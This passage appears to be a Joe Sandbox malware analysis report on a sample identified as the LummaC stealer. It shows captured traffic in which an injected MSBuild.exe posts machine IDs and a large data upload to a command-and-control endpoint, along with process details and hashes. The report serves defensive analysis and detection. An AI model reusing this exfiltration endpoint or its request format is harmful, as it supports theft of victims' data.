2025-04-15 15:56:43 UTC	5210	OUT	Data Raw: 37 9c 18 54 b8 8b 6f ff e7 a5 7d ef 54 6d 6e 72 3e 3b ce 98 bf 77 52 a8 b7 95 dd 18 3c 1d 02 92 77 6a 54 e6 93 a3 62 3e 6c a8 98 04 35 a6 65 8c f8 1d 3d e6 5f 9d 0b d4 e1 e6 e1 a8 1b 74 8d c9 87 10 e5 b7 ec 4a dd e8 c8 b0 84 27 a0 5d b6 ef d5 57 f5 81 3d 86 47 6b 28 11 05 6a 28 c8 ae 86 ab 47 36 90 9b c4 8b 76 7c 7f df 2e 46 85 6f 6f f9 27 df 8f 98 cd f9 eb 9e 4c 8c 5f 70 92 ac 3a 1e f2 84 b6 f5 58 54 21 74 22 db e1 97 d5 fa f0 7a cd d4 76 ec 9e bd 80 5c ae f8 0f e5 cd 13 2f 6f 17 c5 33 33 69 ac 12 41 18 eb cd 31 81 ce dc eb af 8b e5 99 33 9f e1 e3 6d a8 36 da 31 71 5b 61 cf 19 34 56 7c 21 b1 c3 92 28 d5 4a ed 0a 48 8c 68 57 15 2d 8c 16 f6 66 c6 29 22 0d 9c e2 4f da ff 21 3d 33 cb 0e b4 2a 8a f1 71 bc ef 60 55 8f 4a 61 1c 63 df 27 60 ae 74 98 95 f1 b3 4f Data Ascii: 7To}Tmnr>;wR<wjTb>l5e=_tJ']W=Gk(j(G6v\|.Foo'L_p:XT!t"zv\/o33iA13m61q[a4V\|!(JHhW-f)"O!=3*q`UJac'`tO
2025-04-15 15:56:44 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 15:56:44 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Server: cloudflare Vary: Accept-Encoding Cf-Cache-Status: DYNAMIC CF-RAY: 930ca2739e967525-MIA alt-svc: h3=":443"; ma=86400
2025-04-15 15:56:44 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-15 15:56:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49696	104.21.112.1	443	8164	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 15:56:46 UTC	278	OUT	POST /zeda HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=I6UlWnhzSfA6t84tS6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 2354 Host: zestmodp.top
2025-04-15 15:56:46 UTC	2354	OUT	Data Raw: 2d 2d 49 36 55 6c 57 6e 68 7a 53 66 41 36 74 38 34 74 53 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 39 36 65 66 64 66 65 38 63 33 62 31 63 33 33 39 37 33 31 66 61 62 62 31 30 39 36 36 32 33 31 64 0d 0a 2d 2d 49 36 55 6c 57 6e 68 7a 53 66 41 36 74 38 34 74 53 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 36 55 6c 57 6e 68 7a 53 66 41 36 74 38 34 74 53 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 36 41 32 31 31 38 39 42 36 42 46 35 Data Ascii: --I6UlWnhzSfA6t84tS6Content-Disposition: form-data; name="uid"96efdfe8c3b1c339731fabb10966231d--I6UlWnhzSfA6t84tS6Content-Disposition: form-data; name="pid"1--I6UlWnhzSfA6t84tS6Content-Disposition: form-data; name="hwid"D6A21189B6BF5
2025-04-15 15:56:46 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 15:56:46 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Server: cloudflare Vary: Accept-Encoding Cf-Cache-Status: DYNAMIC CF-RAY: 930ca2866dbaca03-MIA alt-svc: h3=":443"; ma=86400
2025-04-15 15:56:46 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-15 15:56:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49697	104.21.112.1	443	8164	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 15:56:47 UTC	270	OUT	POST /zeda HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=vxrn1W92 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 571288 Host: zestmodp.top
2025-04-15 15:56:47 UTC	15331	OUT	Data Raw: 2d 2d 76 78 72 6e 31 57 39 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 39 36 65 66 64 66 65 38 63 33 62 31 63 33 33 39 37 33 31 66 61 62 62 31 30 39 36 36 32 33 31 64 0d 0a 2d 2d 76 78 72 6e 31 57 39 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 76 78 72 6e 31 57 39 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 36 41 32 31 31 38 39 42 36 42 46 35 43 32 32 46 32 32 44 42 33 45 38 39 32 31 43 33 37 43 35 0d 0a 2d 2d 76 78 72 6e 31 57 39 Data Ascii: --vxrn1W92Content-Disposition: form-data; name="uid"96efdfe8c3b1c339731fabb10966231d--vxrn1W92Content-Disposition: form-data; name="pid"1--vxrn1W92Content-Disposition: form-data; name="hwid"D6A21189B6BF5C22F22DB3E8921C37C5--vxrn1W9
2025-04-15 15:56:47 UTC	15331	OUT	Data Raw: 0a 4a 00 d3 57 85 76 d6 35 07 e0 d3 e1 f9 7d 39 76 2a 76 68 39 f8 0f 0c 7f f3 f7 b4 8e a2 d9 b4 e1 33 70 1e 2e 76 f2 40 7c e3 2a 7c c5 0f 4a 06 48 1a f1 e1 f7 a4 c1 0f a1 dc 21 91 4d 7f 31 04 9c cd c0 63 3f b3 35 ea 50 4f 7b a5 c9 db f1 33 39 be a0 b4 ad c3 a0 80 88 d5 2a 70 c2 30 84 cb 6b 8c 4e 2c bc 8b 35 92 5b 35 3a 0b a1 c0 dc 0c 85 3c 6e 44 38 bb 7d 7b 66 47 62 8c 4f a9 d6 ee f4 76 eb a1 d3 75 70 25 3f 01 5a f6 48 6c 0a f6 c9 b6 97 48 c4 43 cf c1 42 14 b1 dd 33 c2 5f 91 dd 0f 60 79 60 46 30 25 07 35 9e 8a 0f 27 b8 e9 05 ff ee 3f 57 31 86 4b 80 ce 04 76 0e af bd fd f1 6f c2 a3 8b df a0 dd 95 0f 4c 34 b2 86 21 c5 a5 22 12 85 8a 41 09 ba 35 6f 67 c9 bd 4e 8d 3f 41 2e eb 3d f8 63 96 3b 53 d3 a4 67 fe 7e e4 2e b5 5f 13 7d f1 b5 a6 cc 6a c4 a3 44 e4 7c 78 Data Ascii: JWv5}9vvh93p.v@\|\|JH!M1c?5PO{39*p0kN,5[5:<nD8}{fGbOvup%?ZHlHCB3_`y`F0%5'?W1KvoL4!"A5ogN?A.=c;Sg~._}jD\|x
2025-04-15 15:56:47 UTC	15331	OUT	Data Raw: 39 57 44 c9 6f 12 9c c8 f4 7f 72 25 35 d7 18 51 e9 f3 85 50 87 23 53 83 43 0b a1 13 36 57 f8 1b 50 c9 9d 73 f3 7f 60 7f a0 e8 1b b5 b4 8a 55 e2 ac 3f 91 38 50 73 7d fe 72 d6 ee e4 52 6d 90 6f 27 1d 48 cf 8b b0 9b 54 60 5c d5 d9 70 c6 83 41 56 f6 88 4c 9a 53 f7 54 e2 52 30 3f f4 ad f7 3c ab c6 aa 6b a2 b5 66 54 18 d9 ee 74 49 5d 22 51 0b 1a d0 81 9c 0f 57 46 d3 8c cd 03 07 29 37 6e c2 7d 9e 65 71 cd cd 8e 69 75 22 49 3d 0f 3a 5a 38 3f cf 3b a8 95 fa c4 92 8a f9 3e 52 09 50 2a 88 b4 c2 e7 ae 5b 8b 40 62 97 e6 85 1e 2a a1 c5 98 7a dc ee 01 0e 52 71 09 ff 86 6a 27 73 57 0e be 9a df 1b 69 5f ed cb d9 80 8b 1b 14 42 57 73 86 cb ea 7b 02 86 2f 29 bd d8 77 6c 90 7e 14 ff a1 c7 4f f7 5c 06 97 42 28 5f e3 79 11 5e e4 36 d9 3b ab 5f a4 3f c3 f7 4b 05 6f 7b 97 c8 94 Data Ascii: 9WDor%5QP#SC6WPs`U?8Ps}rRmo'HT`\pAVLSTR0?<kfTtI]"QWF)7n}eqiu"I=:Z8?;>RP[@bzRqj'sWi_BWs{/)wl~O\B(_y^6;_?Ko{
2025-04-15 15:56:47 UTC	15331	OUT	Data Raw: d2 0f 3f 07 ad fa ee 38 90 e3 bd 06 48 18 20 14 65 32 61 23 b5 0c d3 5e 27 c7 69 e1 63 dd 21 cd 38 8b 0e 7d 0d 25 4d 75 82 2b 84 c1 84 3e 79 64 49 17 9b 05 35 43 7d 37 ed 6c 16 3e ab a5 43 29 d0 1c 28 65 03 10 84 b8 24 18 73 3d 82 fa e1 2e 46 9d da 8d 6b 85 af 49 f3 75 eb f5 c9 68 75 f4 a6 77 66 1a 33 16 87 67 9c 68 8f e0 aa 80 f2 54 ae 92 09 4b e4 7d ff c4 73 b7 0b 3e 2f ab 2f 29 f4 35 b1 73 e7 93 0d 84 ad a2 fe 76 fb c1 52 3f 37 f6 64 e5 f9 fd 8a ef bc 40 d5 70 a4 bd df 41 da 30 73 20 18 9f 2e d8 1b da 70 0a 1a 4f 50 0e 6b af 3b 0a 66 54 a9 af 37 7b bb f9 64 39 6c 89 ed 3c 17 3c 7a 99 dc 4b 24 92 7c 9f 75 a2 de d2 7a 49 55 07 59 0a 26 51 0f 0b df fb 77 1c 0b c6 4e d9 22 36 bf a7 9d f2 45 5d 05 f6 32 4a 65 2e 31 d3 13 42 7e e2 ae f5 24 25 3e e2 39 3b fd Data Ascii: ?8H e2a#^'ic!8}%Mu+>ydI5C}7l>C)(e$s=.FkIuhuwf3ghTK}s>//)5svR?7d@pA0s .pOPk;fT7{d9l<<zK$\|uzIUY&QwN"6E]2Je.1B~$%>9;
2025-04-15 15:56:47 UTC	15331	OUT	Data Raw: f5 3f ae 33 ba c8 7a 55 83 8d 16 0c 62 d7 c1 6e c1 69 2b c9 5b 03 53 25 f1 ae 3e 8f 91 ed e3 9b 48 66 b3 7f b3 74 09 1f bd 71 0f 1e 2c 83 24 d7 21 79 c0 5a fc ee dc d1 e7 80 1c 24 72 31 37 65 49 1d d3 96 aa b2 bc 81 45 5a 5f 75 73 9b dd 5f c1 08 3b a9 a2 cc ee f8 80 11 3c c8 9f 82 28 81 a2 6c a9 71 7b 7d 3b 68 de 7d ad 03 ff 54 61 68 28 e8 2c 4e 41 d1 7d 91 58 97 c4 27 51 c9 f6 57 07 fb 38 7d 03 c0 60 11 10 8c dc a3 fd 4c ff da 1f 11 c8 72 e1 23 e8 71 38 65 26 08 b7 f1 89 99 dc ea d1 a8 47 9f 72 e1 ba c1 16 af 21 cb e1 06 f6 0f 3e fa e2 e6 68 1b ab 2c ca 25 f7 e4 72 1d 89 af c4 8d 45 03 99 51 48 e3 f3 4d 17 38 0b 54 40 35 b8 2f 04 21 08 d7 33 5d 38 3c ec 9c 79 4a de 4f aa 21 1e cb 36 ff 31 a7 1c c0 74 08 7f 8e 25 58 b8 60 53 6a 5d b6 13 0c 0b 4a 50 ce f6 Data Ascii: ?3zUbni+[S%>Hftq,$!yZ$r17eIEZ_us_;<(lq{};h}Tah(,NA}X'QW8}`Lr#q8e&Gr!>h,%rEQHM8T@5/!3]8<yJO!61t%X`Sj]JP
2025-04-15 15:56:47 UTC	15331	OUT	Data Raw: de 63 90 17 b4 47 cd 41 11 a3 98 4a f5 87 67 79 72 b5 0d 15 b1 10 3d 49 aa bd 9a 42 ba 6a ac 4b 1d f8 96 9c ca 90 33 fb ae 8f 5a 38 a2 10 fb 67 fb d6 37 72 e5 c2 d2 69 e2 a4 1f 28 b8 a7 74 aa dc 84 40 cc 6a 5c 05 e9 6c 84 e6 92 21 63 07 d6 2e 74 d7 b8 77 3f 05 1a 1d 75 8c 8b 39 dd 2d e0 ae 4e 97 77 2f 0d 07 f2 22 cc bc 75 24 79 0f 17 a5 4c 34 bd 1b e6 75 ec 7a 83 a3 19 d9 54 7e 23 43 7a 80 84 92 37 54 1f 19 34 b8 57 35 a9 b4 51 15 cc 1a c5 55 5c 78 d4 2b 3a 8d 9c 7a eb 46 dc 87 ff 27 88 86 ca 4b ab c9 08 52 04 20 e3 cf 5f 16 cc f3 e8 e0 56 a8 cb bb a9 00 00 ed bc 36 68 bb f4 7f ba 59 26 ee 6a 71 51 a5 7c 54 58 8d da a6 af 86 c9 e0 9e ca 8a 5f 9a 1c af d7 58 74 d2 29 41 a9 ab 8d 94 35 da d9 8f 27 1b 67 a5 08 10 0a af 08 77 c3 0c 01 3c 4a a4 38 af 3a 0e fb Data Ascii: cGAJgyr=IBjK3Z8g7ri(t@j\l!c.tw?u9-Nw/"u$yL4uzT~#Cz7T4W5QU\x+:zF'KR _V6hY&jqQ\|TX_Xt)A5'gw<J8:
2025-04-15 15:56:47 UTC	15331	OUT	Data Raw: 23 d4 6a c1 1b 5c f6 71 81 17 97 3c 13 91 77 fa 5a 12 0f 25 e4 83 ad f4 dc b9 3e 9b e9 5d 01 bf cb f6 a8 be 43 60 25 c4 89 cc cc 88 50 e6 91 f5 01 58 63 45 df 71 a6 af 9b 1e db 0c 8f e2 14 4b e7 d3 d0 0c 72 b0 0e b4 64 19 f9 c3 1c 81 d3 6a 73 23 46 7e 1c 1a e1 28 e3 12 fa 24 29 56 22 8d 8a 4c a2 4a d8 7e 43 f3 59 bc aa 08 70 9d 76 1a 0b 10 23 bf 5f 89 a2 92 87 53 42 f3 28 eb 0f d0 0b 0e b8 27 84 3e 42 1d b6 ef aa 88 b9 3a 1a 03 a3 86 5e 8a 09 ca 2e 33 4c 4c a3 88 55 39 c9 ef 82 19 ee 68 7b da 84 5f 0f 0c 95 94 70 4e fa 39 7f 8d 6f 99 f2 a2 2d 97 c7 55 aa 92 8c 0d 91 c5 c3 cf cc f6 8a e5 b7 42 c4 5d 0d cf 8f fe df 6a ec 0d 5a 1e 97 1b f6 c7 f2 84 13 35 a2 bc 79 4f 76 be ea 6d cc 71 0d f9 89 88 ad 63 60 bf f3 7b b3 14 13 92 79 06 04 01 85 c0 6f 4d 94 00 c2 Data Ascii: #j\q<wZ%>]C`%PXcEqKrdjs#F~($)V"LJ~CYpv#_SB('>B:^.3LLU9h{_pN9o-UB]jZ5yOvmqc`{yoM
2025-04-15 15:56:47 UTC	15331	OUT	Data Raw: b9 f9 a1 43 9a 11 66 22 13 53 c8 2f 00 ba 1d aa 1c 22 dc 4e dd 02 77 88 da d9 47 df 8a be 6b 41 b3 f3 89 a3 07 ad 3d 1c 79 8e 72 09 79 8f 9d 56 2d c7 5c 05 b3 f6 c8 1e 65 8f 6b 75 98 9d 0e 3d 35 c2 29 9e 3a 84 f2 bd 6f f8 46 2d 76 ef 62 d6 30 38 e5 bd a2 23 c8 29 ae 84 22 0d 30 28 20 2d a4 dc 68 5a b8 07 36 c6 71 15 49 a1 6e c1 a4 1c 57 aa 48 0a 20 01 9e 0e 5b 8e 8d fd c7 35 02 a2 c6 48 a5 fa 38 b9 e9 ba 2e 56 c7 8b c1 20 c7 21 d0 e5 a9 51 8f 56 68 e1 f0 5a ea 87 72 51 b6 59 8f 6e 6b d0 08 92 69 68 d2 a7 ab 02 8e 88 18 a1 e2 31 a3 6c 5c 1b a6 a2 67 e3 f8 e4 c6 40 64 be ec d0 4c 14 01 6a 4a 6f 5a 9b de d0 52 ea 3d b0 66 e7 b2 ad 51 d0 a1 b7 98 c0 4b 99 1b 9a 63 3b 75 b2 67 ef b9 8d 6e c1 63 51 e1 c9 53 b5 7c ce cb 39 34 2b ca da ac 8c 24 d2 88 48 d3 b0 17 Data Ascii: Cf"S/"NwGkA=yryV-\eku=5):oF-vb08#)"0( -hZ6qInWH [5H8.V !QVhZrQYnkih1l\g@dLjJoZR=fQKc;ugncQS\|94+$H
2025-04-15 15:56:47 UTC	15331	OUT	Data Raw: b1 67 6d 3f 90 e8 d6 b0 79 95 35 ae 14 f3 48 2f a0 77 15 06 67 5a e4 c7 00 3a 1a ad 5e 62 00 0b c9 c2 c4 53 9c bb 81 b0 86 7c 5a 8b 8c 05 81 38 10 b8 46 99 bc ba 46 75 93 70 42 03 a4 c7 60 7d 1f 0d ea 9f df 6e c3 1c 31 5f 8b 33 47 0e c9 96 14 83 4c 4e ac 76 7e cd a4 47 39 f9 9b 59 db 05 19 7e 44 68 b6 1d d3 89 58 8f 05 b3 4c 8c 00 88 25 3b fe a4 ff 8d 9a 1c f8 bd 86 d1 ab 9e b8 e0 72 f3 f9 da d3 56 d5 40 a8 5d 32 3d b2 27 d2 27 b9 e1 7f 95 a5 79 f2 4d e2 9c a9 a4 6a 08 8a 4a 01 77 c6 e7 be cc 8f c7 8f 65 e7 17 61 02 39 a8 a7 b8 6d 0a ca 3d 90 f0 37 15 b7 71 a5 ab 74 64 19 e0 5c 88 8e aa 7b 6f 8b 55 9d f4 45 c5 ff 83 f8 d8 8f 19 54 0e 7b a5 58 e4 7c a7 e5 16 46 31 86 e4 65 f2 19 91 0e 65 ec 07 d4 da d2 46 ad 8a 48 1f 47 72 14 63 ef 41 2e 80 d9 da e5 39 6e Data Ascii: gm?y5H/wgZ:^bS\|Z8FFupB`}n1_3GLNv~G9Y~DhXL%;rV@]2=''yMjJwea9m=7qtd\{oUET{X\|F1eeFHGrcA.9n
2025-04-15 15:56:47 UTC	15331	OUT	Data Raw: 6b 83 fe b4 0e e4 c2 4f 07 75 01 87 92 d2 16 85 ef 07 db 1f 69 5e 27 32 cc 09 fb 39 fd fb a2 5a 13 1c a9 5e 4b 2c 70 78 c0 d2 c4 d6 66 cc d3 2a ef 95 a6 1c d0 bc 56 d2 3c 76 9e 20 2c 9d dd 90 32 af 3e c8 d8 53 7e b5 7d 85 e8 5d a2 34 05 85 96 6b dc 02 a2 df 5c bf 39 98 fe 92 f8 c2 67 fa 27 41 0e 93 40 5f 3b c9 5e e4 49 c5 40 db c7 a3 e6 b6 a7 30 47 d7 01 35 11 96 5d c9 97 49 b0 62 aa b0 c2 6a 45 1a c9 f3 7d e2 b2 a1 76 6f f0 db cb 7d cd 37 98 09 bd a4 43 9e 77 1f 4b eb 87 9f 0e bf a7 01 a4 28 5a bc c2 b7 42 66 7e 0f 9f b3 4c b4 f3 19 09 a4 2e 60 a4 d9 e3 f1 4f 53 b4 93 b6 31 d9 46 ee 73 dc f4 cf 14 ac db f4 2a d7 35 9d 4d 5a 3c e7 a9 79 3f 12 2c a4 fd 18 bc 7b bc 96 74 e1 a7 2b e3 0e 3a 92 fb 2c 17 c9 46 5e 0c 00 18 98 f7 dc 23 87 6b 04 b9 26 e1 63 5d 1f Data Ascii: kOui^'29Z^K,pxfV<v ,2>S~}]4k\9g'A@_;^I@0G5]IbjE}vo}7CwK(ZBf~L.`OS1Fs5MZ<y?,{t+:,F^#k&c]
2025-04-15 15:56:49 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 15:56:49 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Server: cloudflare Vary: Accept-Encoding Cf-Cache-Status: DYNAMIC CF-RAY: 930ca28d9d3786ca-MIA alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49699	104.21.112.1	443	8164	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 15:56:49 UTC	261	OUT	POST /zeda HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 79 Host: zestmodp.top
2025-04-15 15:56:49 UTC	79	OUT	Data Raw: 75 69 64 3d 39 36 65 66 64 66 65 38 63 33 62 31 63 33 33 39 37 33 31 66 61 62 62 31 30 39 36 36 32 33 31 64 26 63 69 64 3d 26 68 77 69 64 3d 44 36 41 32 31 31 38 39 42 36 42 46 35 43 32 32 46 32 32 44 42 33 45 38 39 32 31 43 33 37 43 35 Data Ascii: uid=96efdfe8c3b1c339731fabb10966231d&cid=&hwid=D6A21189B6BF5C22F22DB3E8921C37C5
2025-04-15 15:56:50 UTC	241	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 15:56:50 GMT Content-Type: application/octet-stream Content-Length: 43 Connection: close Server: cloudflare Cf-Cache-Status: DYNAMIC CF-RAY: 930ca29baa9fc77b-MIA alt-svc: h3=":443"; ma=86400
2025-04-15 15:56:50 UTC	43	IN	Data Raw: f9 88 fa bd ff 55 15 ef b6 01 50 de 6e 13 68 91 68 ff 47 de 86 cc 43 32 72 21 de 6c 21 cb 27 fc f8 da 04 1c 1e 3c 3c af e4 e5 02 Data Ascii: UPnhhGC2r!l!'<<

Target ID:	0
Start time:	11:56:31
Start date:	15/04/2025
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7ff706c30000
File size:	1'582'080 bytes
MD5 hash:	D0C0E2B8CDCF7891093E828326FC7240
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:56:34
Start date:	15/04/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xff0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000001.00000002.1484259331.0000000003AD0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000001.00000002.1483171361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
file.exe